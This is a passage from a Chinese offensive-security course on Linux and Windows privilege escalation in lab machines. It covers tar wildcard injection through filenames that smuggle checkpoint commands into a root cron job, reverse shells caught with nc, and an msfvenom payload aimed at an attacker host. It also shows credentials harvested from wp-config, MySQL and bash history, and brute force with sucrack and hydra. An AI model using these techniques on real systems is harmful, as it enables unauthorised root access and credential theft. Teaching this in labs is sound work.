echo "" > "--checkpoint-action=exec=sh shell.sh"
最后創建一個名為 --checkpoint=1
的文件:
echo "" > --checkpoint=1
創建成功后,可以看到 /var/www/html/
文件夾下有這樣幾個文件:
當定時任務中的如下命令被執行時:
tar -zcf /var/backups/html.tgz /var/www/html/*
實際上等同于執行:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html
參數解釋:
-
—-checkpoint
和—-chekpoint-action
參數通常一起使用,前者為設置檢查點,后者為到達檢查點時要執行的操作。 -
--checkpoint-action=exec=sh shell.sh
則表示達到檢查點時執行 shell.sh 腳本文件。
也就是說,每當定時任務被執行時,tar 都會調用 shell.sh
腳本并執行,而 shell.sh 腳本會將 /bin/bash
反彈到 127.0.0.1 的 4444 端口。
我們在當前 shell 中使用 nc 監聽本地 4444 端口,命令如下:
nc -lnvp 4444
稍微等待一會,當定時任務被執行時,我們就可以接收到被反彈回來的 shell,并且是 root 權限:
至此,我們成功提權到 root 用戶。
不過關于 tar
+ crontab
提權存在兩個限制條件,這里也給各位同學詳細說明:
-
限制一:打包目錄 html 需要「其他用戶」擁有寫(w)權限
因為必須要有寫入權限,我們才能在該目錄創建 shell.sh
和其他兩個文件:
-
限制二:crontab 中的 tar 命令必須不包含絕對路徑,例如下面這種命令,通配符注入就會失敗:
* * ? ? * * * ? root ? tar -zcf /var/backups/html.tgz **/var/www/html/***
原因是當包含絕對路徑時,通配符注入實際上執行的命令變成了:
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html
這種情況下/var/www/html/--checkpoint=1
和 /var/www/html/--checkpoint-action=exec=sh shell.sh
就不會被 shell 解釋為 tar 命令參數,所以無法注入成功。
實驗總結:
在本節實驗中,我們學習了什么是通配符注入,并介紹 Linux 系統上最常見的 tar 通配符注入的原理,最后通過實驗在實戰中通過 crontab 配合 tar 命令將 Linux shell 成功提權到 root 權限。
跳板用戶提權
知識點
-
什么是跳板用戶?
-
什么情況下需要使用跳板用戶?
-
如何通過跳板用戶提權?
實驗開始
前面幾章為大家介紹了幾種直接提權到 root 權限的方法,但有時候會遇到嘗試了所有的方法,也無法直接提權到 root 權限,此時可以考慮先提權到其他用戶,再通過其他用戶的權限提權到 root 權限,而這個中間用戶就被我稱為——跳板用戶。
在本章實驗中,我們會先從 www-data 提權到跳板用戶 alice ,再從 alice 提權到 root 權限。
首先執行如下命令以初始化實驗環境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_100_switchuser.sh > ~/init_100_switchuser.sh;chmod +x ~/init_100_switchuser.sh;sudo ./init_100_switchuser.sh
如上圖所示,實驗環境初始化完成,此時我們切換到了 www-data
用戶——用于模擬通過 Web 漏洞反彈回的初始 shell。
我們首先嘗試一下 SUID 提權,在所有 www-data 用戶有權訪問的目錄下搜索帶 s 權限的可執行文件,使用到的命令如下:
find / -user root -perm -4000 -print 2>/dev/null
搜索結果如下圖所示:
經過分析發現沒有可用于 SUID 提權的可執行文件。
查看一下 home 目錄下有哪些文件夾:
ls -alh /home
發現 /home
目錄下有一個 alice 目錄,推測有一個 alice 用戶,并且是可以登錄系統的,可以通過查看/etc/passwd
文件驗證。
但是 www-data 沒有權限訪問alice
目錄,所以我們需要先試試能夠提權到 alice 用戶。
經過一番嘗試,我們發現/etc/passwd
文件中有 alice 用戶的密碼 hash:
cat /etc/passwd
根據之前學習的方法,使用 john 來破解。新打開一個終端,使用如下命令:
john /etc/passwd
破解得到密碼為 beautiful
,使用 su
命令登錄 alice 用戶:
現在我們成功從 www-data 用戶提權到了 alice 用戶,再嘗試一次 SUID 提權:
find / -user root -perm -4000 -print 2>/dev/null
找到了/var/bin/php
可執行文件,該文件是可以用來 SUID 提權的,方法如下:
/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"
如上圖所示,我們成功提權到 root 權限。
-
關于哪些可執行文件可以用來 SUID 提權,可以通過以下鏈接進行查詢:
https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary
大家思考一下:為什么 alice
用戶能夠查找到具有 s 權限的 php 可執行文件,而 www-data
用戶找不到呢?
其實答案就是目錄權限的區別,讓我們查看一下 /var/bin
目錄權限:
ls -lh /var
可以看到,/var/bin
目錄的所有者和所有組均為 alice,其他用戶并沒有讀/寫/執行
權限。
所以當我們提權到其他用戶時,有時就能解鎖一些之前無法訪問的文件或目錄,而這恰好就可能被利用來進行提權。
實驗總結
在本節實驗中,我們學習了當不能直接提權至 root 權限時,如何通過先提權到其他普通用戶,再通過該用戶提權到 root 用戶的方法。
本章實驗中我們只是選了一個簡單例子作為拋磚引玉,實戰中的情況可能會更復雜,不過請記住:核心永遠是圍繞在不同用戶的權限差異上。
查找敏感文件提權
知識點
-
重點關注的 Web 配置文件
-
通過 Web 配置文件提權方法
-
重點關注的用戶相關的配置文件
-
通過用戶相關配置文件提權方法
實驗開始
假設我們已經通過 Web 漏洞反彈回一個 shell,是 www-data 用戶的權限。
通過嘗試之前幾個實驗中的方法都未成功,那么我們可以嘗試在 Linux 上是否能尋找到一些認證信息,并利用該認證信息進行提權。
在本章中,我們會通過兩個實驗,分別從 Web 服務配置文件
和用戶配置文件
入手,收集信息并完成提權。
Web 服務配置文件
有時候通過查找服務器上的 Web 配置文件,可以發現數據庫的連接賬戶和密碼。登錄數據庫后,通過收集數據庫中存儲的用戶密碼,并且管理員如果存在密碼復用的情況,即可完成提權,下面我們通過一個具體的實驗來理解一下。
首先執行如下命令以初始化實驗環境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_90_web.sh > ~/init_90_web.sh;chmod +x ~/init_90_web.sh;sudo ./init_90_web.sh
如上圖所示,實驗環境初始化完成,此時我們切換到了 www-data
用戶——用于模擬通過 Web 漏洞反彈回的初始 shell。
通常情況下,Linux Web 服務存放的路勁為 /var/www
目錄,在該路徑下我們重點關注以下文件:
-
database.php
-
user.php
-
*.config
-
config.php
我們可以通過以下命令來搜索:
find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null
當然不僅限于以上文件,并且如果目標主機采用了 CMS,我們可以通過谷歌查詢該 CMS 的默認數據庫連接文件的存放位置。
在實驗主機上,查看 /var/www 目錄的文件:
ls -lh /var/www
我們發現主機使用了 WordPress 內容管理系統,通過谷歌查詢得知,WordPress 的數據庫配置信息存放在$root/wp-config.php
,查看一下:
more /var/www/wordpress/wp-config.php
如上圖所示,成功找到了 MySQL 的 root 賬戶和密碼:
root:cD8M2M8fMiDHu4m1
考慮到管理員可能存在密碼復用的情況,嘗試使用密碼 cD8M2M8fMiDHu4m1
登錄系統 root 賬戶:
但是很可惜,并沒有登錄成功。
接下來我們登錄 mysql 數據庫,看看能否在數據庫中發現一些信息:
mysql -u root -p -h 127.0.0.1
然后允許一下命令,在 MySQL 數據庫中收集信息:
show databases; use ROB show tables; select * from rob_user;
如上圖所示,收集到兩個用戶、密碼信息:
root:CMPc5MoAGf alice:psoj9apv4u
我們再嘗試一下,新打開一個終端,使用CMPc5MoAGf
登錄 root 用戶:
成功登錄 root 用戶。
至此,我們學習了通過尋找 Web 服務的配置文件來提權的一種方法,實際上并不一定是找 Web 服務的配置文件,其核心是通過尋找服務器上的敏感認證信息并結合密碼復用進行提權的一種思想。
還有一種關于 mysql 的提權方法——MySQL UDF 提權,該方法在 Windows 和 Linux 上都可用。
UDF 是 MySQL 的一個共享庫,通過 UDF 創建能夠執行系統命令的函數 sys_exec、sys_eval ,可以 UDF 執行系統命令來提權,但要利用 MySQL UDF 有兩個條件:
-
獲取到 mysql root 賬戶密碼
-
MySQL 在系統上以 root 權限運行,沒有被降權(實際上這種情況比較少)
由于藍橋實驗環境的限制,無法設計相關實驗,有興趣的同學可以百度、谷歌研究一下。
用戶相關配置文件
我們主要關注下面兩個用戶相關的配置文件;
-
~/.bash_profile
用于配置環境變量和啟動程序,當用戶登錄(login)時,該文件會被執行,在某些 Linux 發行版本中,該文件是默認不創建的。
-
~/.bash_history
每個用戶的主目錄下都定義了一個.bash_history
文件,用于記錄用戶 shell 歷史命令,默認記錄最近輸入的 1000 條命令,我們也許可以從中收集到一些敏感信息(部分 Linux 發行版本默認關閉了該共功能),在某些 Linux 發行版本中,默認關閉了該功能,可以嘗試用 history
命令查看。
首先執行如下命令以初始化實驗環境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_90_learning_2.sh > ~/init_90_learning_2.sh;chmod +x ~/init_90_learning_2.sh;sudo ./init_90_learning_2.sh
如上圖所示,實驗環境初始化完成后,我們切換到了 tomcat-syl 用戶。
首先查看 ~/.bash_profile
文件,看是否能收集到一下敏感信息:
cat ~/.bash_profile
但是很可惜,看來用戶 tomcat-syl 并沒有使用~/.bash_profile
文件。
再查看一下 ~/.bash_history
文件:
cat ~/.bash_history
發現這一行歷史命令記錄:
echo tomcat-syl:09FMWNFS7n|chpasswd
這條命令的含義是:修改 tomcat-syl 用戶的密碼為 09FMWNFS7n,我們嘗試一下能否用該密碼執行 sudo :
sudo whoami
如上圖所示,密碼正確,并且能夠執行 sudo 權限。接下來使用之前學過的知識獲取一個 root 權限的 shell:
sudo /bin/bash -p
實驗總結
在本節實驗中,我們學習了重點查找服務器上哪些 Web 相關的配置文件和用戶相關的配置文件,隨后在實驗中學習了通過以上兩者進行提權的方法。
本章的核心掛念是,在 Linux 主機上查找一些可能存放了敏感信息的文件,并不僅限于 Web 配置文件和用戶配置文件, 還有一些重要文件也需要我們關注,例如:
-
備份文件,例如 SSH 秘鑰、登錄憑證等,可通過如下命令查找:
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
-
Sqlite DB 文件
本章節篇幅有限,不可能列舉所有的敏感文件,但只要我們掌握通過敏感文件收集信息的核心思想,便能一法通時萬法通了。
暴力破解提權
知識點
-
sucrack 工具的安裝和使用
-
通過 hydra 工具爆破 SSH 協議
實驗開始
在前面的實驗中,我們已經為大家介紹了多種 Linux 提權方法,這些方法已經覆蓋到了實戰中的絕大部分場景,但如果你遇到前面所有的方法都無法成功提權時,別忘了還有一種最原始但有用的方法可以嘗試——暴力破解。
通常來說,可以通過兩種途徑暴力破解 root 用戶的密碼:
-
通過 su 命令爆破 root 密碼
-
通過 SSH 協議爆破 root 密碼
下面我依次為大家介紹這兩種方法。
通過 su 命令暴破 root 密碼
Linux su 命令用于切換為其他使用者身份,除 root 外,其他用戶使用時需要輸入將要切換的「目標用戶」的密碼。
su 命令暴力破解使用的工具是 sucrack
。
sucrack 介紹和安裝
sucrack 是一個多線程的Linux
工具,用于通過 su 爆破本地用戶密碼。
因為 su 命令需要從 TTY shell 獲取用戶輸入,因此不能只用一個簡單的 shell 腳本來完成爆破,sucrack 是采用 c 語言編寫的工具,并且支持多線程,爆破效率非常高。
sucrakck 官方地址如下:
https://leidecker.info/projects/sucrack.shtml
在實戰環境中,靶機可能是無法連接外網的,因此我們可以使用如下兩種方法安裝 sucrack:
-
下載
sucrack
源碼并上傳到靶機上,再編譯運行。 -
下載
sucrack
源碼,在本地編譯好之后再上傳到靶機運行。
本課程旨在為大家演示 sucrack
的用法,因此為了方便我們直接使用 apt 安裝 sucrack :
sudo apt install sucrack
如上圖所示,安裝成功。
sucrack 使用方法
sucrack 的用法非常簡單,最基礎的命令如下:
sucrack -w 20 wordlists.txt
參數解釋:
-
-w
指定線程數 -
wordlists.txt
爆破使用的字典
sucrack 默認爆破 root 用戶,你也可以使用 -u
指定要爆破的用戶:
sucrack -u myuser -w 20 wordlists.txt
在嘗試爆破之前,我們先執行如下命令來部署實驗環境:
curl https://labfile.oss.aliyuncs.com/courses/2650/init_forcebrute.sh > ~/init_forcebrute.sh;chmod +x ~/init_forcebrute.sh;sudo ./init_forcebrute.sh
如上圖所示,此時我們已經切換為了普通用戶 www-data ,接下來我們將在實驗中,通過暴力破解的方法獲取 root 用戶的密碼。
我預先準備了一份密碼字典用于演示,存放在 /tmp/common-wordlists.txt
,同學們也可以使用自己的字典。
使用如下命令嘗試爆破 root 密碼,線程數保守一點設定為 20:
sucrack -w 20 /tmp/common-wordlists.txt
開始爆破之后,按鍵盤任意鍵刷新顯示進度:
等待一會,成功破解出 root 用戶的密碼為 ly:
然后使用 su root
切換為 root 用戶:
sucrack 功能是非常簡單強大的,你學會了嗎?
通過 SSH 爆破 root 密碼
SSH 服務介紹
SSH 服務的配置文件有為兩個,分別是:
-
/etc/ssh/ssh_config : 客戶端的配置文件
-
/etc/ssh/sshd_config : 服務端的配置文件
僅當 /etc/ssh/sshd_config
中 PermitRootLogin
設置為 yes,root 用戶才能登錄 ssh:
因此,在通過 ssh 爆破 root 用戶密碼之前,我們需要先使用如下命令來查詢靶機是否允許 root 用戶通過 ssh 登錄:
cat /etc/ssh/sshd_config |grep -i permitrootlogin
當 PermitRootLogin 被設置為 yes
時,才用嘗試 SSH 暴力破解,否則就沒必要在嘗試了。
hydra 介紹和使用方法
SSH 協議爆破使用到的工具是 hydra,hydra 是一款非常著名的爆破工具,除了 SSH 協議以外,hydra 還支持眾多其他協議例如 RDP、SMB、HTTP、MySQL 等,由于篇幅有限,具體可以參考下面這篇文章:
https://github.com/iSecurity-Club/Pentest-Methodologies/blob/master/Password%20Attacks/README.md
hydra 在 Kali Linux 上默認安裝,實驗主機的 ubuntu 環境也已經提前安裝好,爆破 SSH 協議的語法如下:
hydra -l root -P passwords.txt -t 4 -V <IP> ssh
參數解釋:
-
-l
: 指定用戶名 -
-P
: 指定爆破字典 -
-t
: 指定爆破線程 -
-V
: 查看破解詳情、進度
下面我們嘗試爆破 root 用戶的密碼,字典仍然使用 /tmp/common-wordlists.txt
:
hydra -l root -P /tmp/common-wordlists.txt -t 64 -V 127.0.0.1 ssh
如上圖所示,成功爆破出 root 用戶的密碼。
注意:如果你使用的 hydra 是 v9.0 之前的版本,在爆破 ssh 協議時很可能會出現誤報,請先升級后再使用(實驗環境是 v9.2)。
實驗總結
在本節實驗中,我們學習了通過兩種途徑爆破 SSH 服務的方法—— su
和 SSH
,并且分別介紹了對應的兩種破解工具的使用。
自動化輔助工具提權
知識點
-
LinEnum 輔助工具的使用
-
linux-exploit-suggester 輔助工具的使用
實驗開始
在前面章節中,我們已經學習了多種 Linux 提權的方法,這些提權方法已經覆蓋了實戰中的絕大部分場景。
如果你正在為了備考 OSCP 認證而努力,那么恭喜你,只要你把前面幾種方法都理解并掌握,考試中關于 Linux 提權這部分是絕對可以得心應手的。
除此之外,還有一些 Linux 輔助工具可供使用,這些輔助工具通常是 shell 腳本。需要明確的是,這些輔助工具不會嘗試漏洞利用,僅僅只是幫助我們快速枚舉系統信息,使用它們的目的是節省時間,所以你必須先理解提權的方法和原理。
Github 上有很多相關的開源項目,在本章節實驗中我會推薦兩個比較有代表性的:
-
LinEnum
-
linux-exploit-suggester
和內核漏洞提權那章相同,本章實驗我們也需要使用到 Metasploitable2 虛擬靶機,使用如下命令開啟靶機:
sudo virsh start Metasploitable2
Metasploitable2 靶機的信息如下:
-
IP:
192.168.122.102
-
用戶名:
msfadmin
-
密碼:
msfadmin
Metasploitable2 是 kvm 搭建的靶機,所以啟動會比較慢。稍微等待 1~2 分鐘,直到可以 ping 通192.168.122.102
為止:
使用 ssh 連接到靶機,密碼是 msfadmin,命令如下:
ssh msfadmin@192.168.122.102
如上圖所示,成功登錄Metasploitable2
,權限是普通用戶 msfadmin
——用于模擬滲透測試獲取到的初始 shell。
LinEnum 工具
LinEnum 介紹
LinEnum 是一個 Linux 主機本地信息枚舉的 shell 腳本,它有超過 65 項安全檢查功能,比如查詢版本信息、內核信息、SUID/GUID 文件、文件權限、sudo 權限等,其執行的檢查項摘要如下:
-
內核和發行版本的詳細信息
-
系統信息、主機名、網絡信息
-
用戶信息、用戶列表、用戶組
-
敏感目錄、文件的訪問權限
-
環境變量配置詳情
-
CronJobs 配置詳情
-
運行服務、服務權限
-
部分應用的版本信息
更為詳細的檢查項說明,可以查閱項目的[README.md](https://github.com/rebootuser/LinEnum)
文檔。
項目地址
https://github.com/rebootuser/LinEnum
使用方法
因為大多數情況下靶機是沒有連接外網的權限的,所以都是先下載到攻擊機(例如 Kali Linux),然后再搭建 HTTP 服務上傳到靶機。
在云主機上使用 wget
工具下載并存儲到 /tmp/exploit.c
,命令如下(不要在 Metasploitable2 的 ssh 終端中下載,會報 SSL 錯誤):
# 如果遇到拒絕連接錯誤,多嘗試幾次即可 wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
接下來進入/tmp
目錄,使用 Python3 快速搭建 HTTP 服務,端口為 8000:
cd /tmp python3 -m http.server 8000
使用 ip addr
命令查詢到主機 IP 地址為 192.168.122.1
:
在 Metasploitable2 終端中使用 wget 工具下載 LinEnum.sh
并保存到/tmp
:
wget 192.168.122.1:8000/LinEnum.sh -P /tmp
賦予LinEnum.sh
執行權限:
chmod +x LinEnum.sh
接下來就可以執行LinEnum.sh
進行檢查,由于LinEnum.sh
執行速度非常快,所以可以搭配 more
命令便于閱讀,使用空格進行翻頁:
./LinEnum.sh |more
自動快速收集系統信息,便于我們閱讀分析,重點關注黃色字體的信息。
-
發現具有
/root
目錄的訪問權限:
-
發現軟件版本及弱口令:
如上圖所示,發現 MySQL 的 root 用戶無需密碼即可登錄,測試一下發現登陸成功:
-
發現
htpasswd
文件:
-
發現可利用的 SUID 文件
nmap
:
嘗試利用 nmap 提權,并且提權成功:
-
發現可查看 root 用戶的
.bash_history
文件:
有沒有覺得很方便?合理的利用 LinEnum.sh
腳本,可以為我們節約大量的時間。
linux-exploit-suggester 工具
linux-exploit-suggester 介紹
linux-exploit-suggester
是一款根據系統發行版本號和內核版本號自動查找相應內核提權漏洞的工具。
LinEnum
功能已經非常強大,但它缺少對內核漏洞的檢查,而linux-exploit-suggester
剛好能彌補這一點。
項目地址
https://github.com/mzet-/linux-exploit-suggester
使用方法
和之前一樣,下載linux-exploit-suggester.sh
到云主機:
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/linux-exploit-suggester.sh
并上傳到靶機Metasploitable2
:
wget 192.168.122.1:8000/linux-exploit-suggester.sh -P /tmp
添加執行權限并執行腳本:
chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh
不幸的是,提示 bash 版本過低不支持運行該腳本:
大多數時候是可以直接運行的,但是如果偶爾遇到這種情況,可以采用手動錄入內核信息的方式。
在 Metasploitable2 上運行uname -a
查詢主機信息,并將輸出結果復制下來:
然后回到云主機上運行./linux-exploit-suggester.sh
腳本:
-
-u
: 指定uname -a
獲取的信息 -
--kernelspace-only
: 僅顯示內核漏洞
./linux-exploit-suggester.sh -u "Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux"
下圖是我們得到的分析結果:
每一條漏洞都包含 Exposure (影響概率)和 Download URL( EXP 下載鏈接),其中 Exposure 分級如下:
-
Highly probable
- 被評估的內核很有可能受到影響,而且很有可能 PoC 漏洞不需要任何重大修改就能正常運行。 -
Probable
- 有可能會成功,但很有可能需要定制 EXP 漏洞來適應你的目標。 -
Less probable
- 需要額外的手動分析來驗證內核是否受到影響。 -
Unprobable
- 內核受影響的可能性極低。
一般只用嘗試Highly probable
和robable
定級的EXP
即可。
但需要注意的是,linux-exploit-suggester
的結果并不一定非常準確,如果結果中的 CVE 均無法利用,你仍然需要手動去 [Exploit-db.com](http://exploit-db.com)
搜索內核漏洞再來嘗試。
實驗總結
在本節實驗中,我們學習了 LinEnum 和 linux-exploit-suggester 提權輔助腳本工具的使用方法,其實輔助工具還有很多,例如以下兩個:
-
linPEAS
-
BeRoot
如果你有興趣,可以下載嘗試一下,不過工具永遠只能起到輔助作用,最重要的還是理解提權的方法和思想。
Windows提權
概述
本文章將聚焦 Windows 系統中的 Privilege Escalation(權限提升)技術。你將學習到:
-
Windows 中基礎用戶權限(user privileges)的工作原理
-
多種提升用戶權限的方法
-
這些方法的作用原因與實現方式
-
可用于識別潛在權限提升路徑(escalation paths)的工具
本課程致力于講解實際場景中常見的權限提升方法,因此不包含冷門方法(obscure methods)。 同時,課程僅針對本地權限提升(local privilege escalation),不涉及通過 Active Directory 實現的權限提升。
前置要求
-
建議具備 Windows 系統的基礎認知,不過課程也會涵蓋部分基礎內容
-
課程默認你已在 Windows 系統上獲得一個可正常使用的低權限 shell(lowprivileged shell),不涉及如何獲取該 shell(本課程屬于后滲透測試(post-exploitation)課程)
示例命令格式
-
Linux(Kali)命令:
# 命令內容
-
Windows 命令提示符(command prompt)命令:
> 命令內容
-
Windows PowerShell 命令:
PS> 命令內容
免責聲明
本課程的設計參考了 OSCP 實驗環境(OSCP labs)和考試場景,但涵蓋的權限提升技術范圍遠超 OSCP 學員所需掌握的內容。 需注意,權限提升通常極為復雜,且新的技術會不斷涌現,因此本課程并非 “完整” 的權限提升技術指南,無法涵蓋所有方法。 在合適的情況下,作者會更新課程材料,加入被認為有價值的新技術。
致謝
-
Sagi Shahar:創建了最初的 Windows 配置腳本(Windows setup script)和權限提升工作坊(privilege escalation workshop),并授權本課程使用相關內容
-
Showeet.com:授權本課程使用其演示模板(presentation template)
-
Microsoft:提供免費的 Windows 10 虛擬機(VM)
實驗環境搭建
Windows 10
本課程基于 Windows 10 設計:
-
若你已有 Windows 10 副本,可直接使用
-
若沒有,可從 Microsoft 官網下載免費(有限制)的 Windows 10 虛擬機(VM):https://developer.microsoft.com/en-us/microsoftedge/tools/vms/
環境配置
tools.zip
壓縮包中包含一個配置腳本(setup script),該腳本專為 Windows 10 編寫,未在其他 Windows 版本上測試。 若你希望親自實踐課程中的權限提升操作,建議安裝 Windows 10 并運行此配置腳本。 該腳本也可從以下鏈接獲取:https://github.com/Tib3rius/WindowsPrivEsc-Setup
初始配置
安裝完成后,使用本地管理員賬戶(local administrator account)登錄,用戶名 “IEUser”,密碼 “Passw0rd!”。 以管理員身份打開 PowerShell,運行以下命令啟用 SMBv1:
powershell
PS> Enable-WindowsOptionalFeature -Online -FeatureName "SMB1Protocol-Client" -All
運行后需重啟虛擬機(VM)。
SMB 服務器配置
在 Kali 中,將tools.zip
壓縮包解壓到某個目錄,進入該目錄,運行以下任一命令搭建 SMB 服務器:
bash
# 方法1 python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools . # 方法2 python /usr/share/doc/python-impacket/examples/smbserver.py tools .
-
從 Kali 向 Windows 復制文件:
cmd
> copy \\192.168.1.11\tools\file.ext file.ext
-
從 Windows 向 Kali 復制文件:
cmd
> copy file.ext \\192.168.1.11\tools\file.ext
運行配置腳本
將setup.bat
腳本復制到 Windows 虛擬機:
cmd
> copy \\192.168.1.11\tools\setup.bat setup.bat
以管理員身份打開命令提示符(command prompt),運行setup.bat
腳本:
cmd
> .\setup.bat
配置腳本后續操作
setup.bat
腳本運行完成后,重啟虛擬機。 新創建的 “admin” 賬戶會自動登錄。你也可以注銷當前賬戶,使用 “user” 賬戶登錄,密碼為 “password321”。 系統中會創建可寫目錄C:\PrivEsc
,用于復制工具或可執行文件(executables),課程演示也會使用該目錄。
Windows 中的 Privilege Escalation(權限提升)
基本概念
在 Windows 中進行權限提升的最終目標,是獲取以 Administrator 或 SYSTEM user 身份運行的 shell。 權限提升可能很簡單(例如利用 kernel exploit),也可能需要對已入侵系統進行大量偵察(reconnaissance)。 在很多情況下,權限提升并非依賴單一配置錯誤(misconfiguration),而是需要結合多個配置錯誤來實現。
所有權限提升本質上都是訪問控制違規(access control violations)的案例。 訪問控制(access control)與用戶權限(user permissions)緊密相關。 在研究 Windows 權限提升時,理解 Windows 如何處理權限(permissions)至關重要。
理解 Windows 中的權限(Permissions)
用戶賬戶(User Accounts)
用戶賬戶用于登錄 Windows 系統,可將其視為與唯一身份綁定的一組設置 / 偏好(settings /preferences)。 系統安裝時會默認創建本地 “Administrator” 賬戶。 根據 Windows 版本不同,可能還會存在其他默認用戶賬戶(如 Guest)。
服務賬戶(Service Accounts)
服務賬戶(顧名思義)用于在 Windows 中運行服務(services)。 服務賬戶無法用于登錄 Windows 系統。 SYSTEM 賬戶是默認服務賬戶之一,擁有 Windows 本地賬戶中最高的權限。 其他默認服務賬戶包括 NETWORK SERVICE 和 LOCAL SERVICE。
組(Groups)
-
用戶賬戶可屬于多個組,一個組也可包含多個用戶
-
組便于對資源進行訪問控制(access control)
-
常規組(如 Administrators、Users)的成員列表是固定的
-
偽組(如 “Authenticated Users”)的成員列表是動態的,會根據特定交互變化
資源(Resources)
在 Windows 中,資源(也稱為對象(objects))包含多種類型:
-
文件 / 目錄(Files / Directories)
-
注冊表項(Registry Entries)
-
服務(Services)
用戶和 / 或組能否對某資源執行特定操作,取決于該資源的訪問控制列表(ACL)。
ACL 與 ACE
Windows 中,資源的訪問權限由該資源的訪問控制列表(ACL,Access Control List)控制。 每個 ACL 由 0 個或多個訪問控制項(ACE,Access Control Entry)組成。 每個 ACE 定義了主體(principal,如用戶、組)與特定訪問權限(access right)之間的關系。
示例:文件 ACL/ACE
-
名稱(Name):CATemp\ACL Test.txt
-
所有者(Owner):admin (MSEDGEWIN10\admin)
-
可操作選項:Change(修改)、Permissions(權限)、Auditing(審計)、Effective Access(有效訪問)
備注:如需更多信息,雙擊某個權限項(permission entry);如需修改權限項,選中該條目并點擊 “Edit”(若可用)。
權限項(Permission entries):
-
類型(Type):Deny,主體(Principal):user (MSEDGEWIN10\user),訪問權限(Access):無(None)
-
類型(Type):Allow,主體(Principal):Administrators (MSEDGEWIN10\Administrators),訪問權限(Access):Full control(完全控制)
-
類型(Type):Allow,主體(Principal):SYSTEM,訪問權限(Access):Full control(完全控制)
-
類型(Type):Allow,主體(Principal):Users (MSEDGEWIN10\Users),訪問權限(Access):Read & execute(讀取和執行)
-
類型(Type):Allow,主體(Principal):Authenticated Users,訪問權限(Access):Modify(修改)
其他選項:Add(添加)、Remove(刪除)、View(查看)、Disable inheritance(禁用繼承)
生成 Administrator Shell
使用 msfvenom
若你能以管理員權限執行命令,可使用 msfvenom 生成反向 shell(reverse shell):
bash
# 生成64位Windows反向shell可執行文件,LHOST為KaliIP,LPORT為監聽端口 # msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o reverse.exe
可使用 netcat 或 Metasploit 的multi/handler
模塊捕獲該反向 shell。
使用 RDP
若 RDP 可用(或可啟用 RDP),可將低權限用戶添加到管理員組(administrators group),然后通過圖形界面(GUI)打開管理員命令提示符:
cmd
> net localgroup administrators <用戶名> /add
從 Admin 提升到 SYSTEM
要從 Admin 用戶提升到完整的 SYSTEM 權限,可使用 Windows Sysinternals 的 PsExec 工具(下載鏈接:PsExec - Sysinternals | Microsoft Learn)。 課程工具壓縮包(tools ZIP archive)中已包含該工具,運行以下命令:
cmd
> .\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe
權限提升工具(Privilege Escalation Tools)
為何使用工具?
工具可自動化偵察(reconnaissance)過程,幫助識別潛在的權限提升路徑。 雖然理解工具的工作原理至關重要,但在考試等時間有限的場景中,工具的作用不可替代。 本課程主要使用 winPEAS 和 Seatbelt,你也可以嘗試其他工具,選擇最適合自己的工具。
PowerUp 與 SharpUp
PowerUp 和 SharpUp 是兩款功能相似的工具,用于檢測特定的權限提升配置錯誤(privilege escalation misconfigurations)。
-
PowerUp: 下載鏈接:https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1
-
SharpUp: 源碼鏈接:GitHub - GhostPack/SharpUp: SharpUp is a C# port of various PowerUp functionality. 預編譯版本(Pre-Compiled):Ghostpack-CompiledBinaries/SharpUp.exe at master · r3motecontrol/Ghostpack-CompiledBinaries · GitHub
運行 PowerUp
啟動 PowerShell 會話,使用點源(dot sourcing)方式加載腳本:
powershell
PS> . .\PowerUp.ps1
運行Invoke-AllChecks
函數,開始檢測常見的權限提升配置錯誤:
powershell
PS> Invoke-AllChecks
運行 SharpUp
打開命令提示符(command prompt),直接運行可執行文件:
cmd
> .\SharpUp.exe
SharpUp 會立即開始檢測與 PowerUp 相同的配置錯誤。
Seatbelt
Seatbelt 是一款枚舉工具(enumeration tool),包含多個枚舉檢查項(enumeration checks)。 它不主動檢測權限提升配置錯誤,而是提供相關信息供進一步分析。
-
源碼(Code):GitHub - GhostPack/Seatbelt: Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
-
預編譯版本(Pre-Compiled):Ghostpack-CompiledBinaries/Seatbelt.exe at master · r3motecontrol/Ghostpack-CompiledBinaries · GitHub
運行 Seatbelt
-
運行所有檢查并過濾不重要的結果:
cmd
> .\Seatbelt.exe all
-
運行特定檢查項:
cmd
> .\Seatbelt.exe <檢查項1> <檢查項2> …
winPEAS
winPEAS 是一款功能強大的工具,不僅能主動檢測權限提升配置錯誤,還會在結果中高亮顯示關鍵信息。 下載鏈接:PEASS-ng/winPEAS at master · peass-ng/PEASS-ng · GitHub
運行 winPEAS
運行前需添加注冊表項(registry key),然后重新打開命令提示符:
cmd
> reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
-
運行所有檢查,跳過耗時搜索:
cmd
> .\winPEASany.exe quiet cmd fast
-
運行特定類別檢查:
cmd
> .\winPEASany.exe quiet cmd systeminfo
accesschk.exe
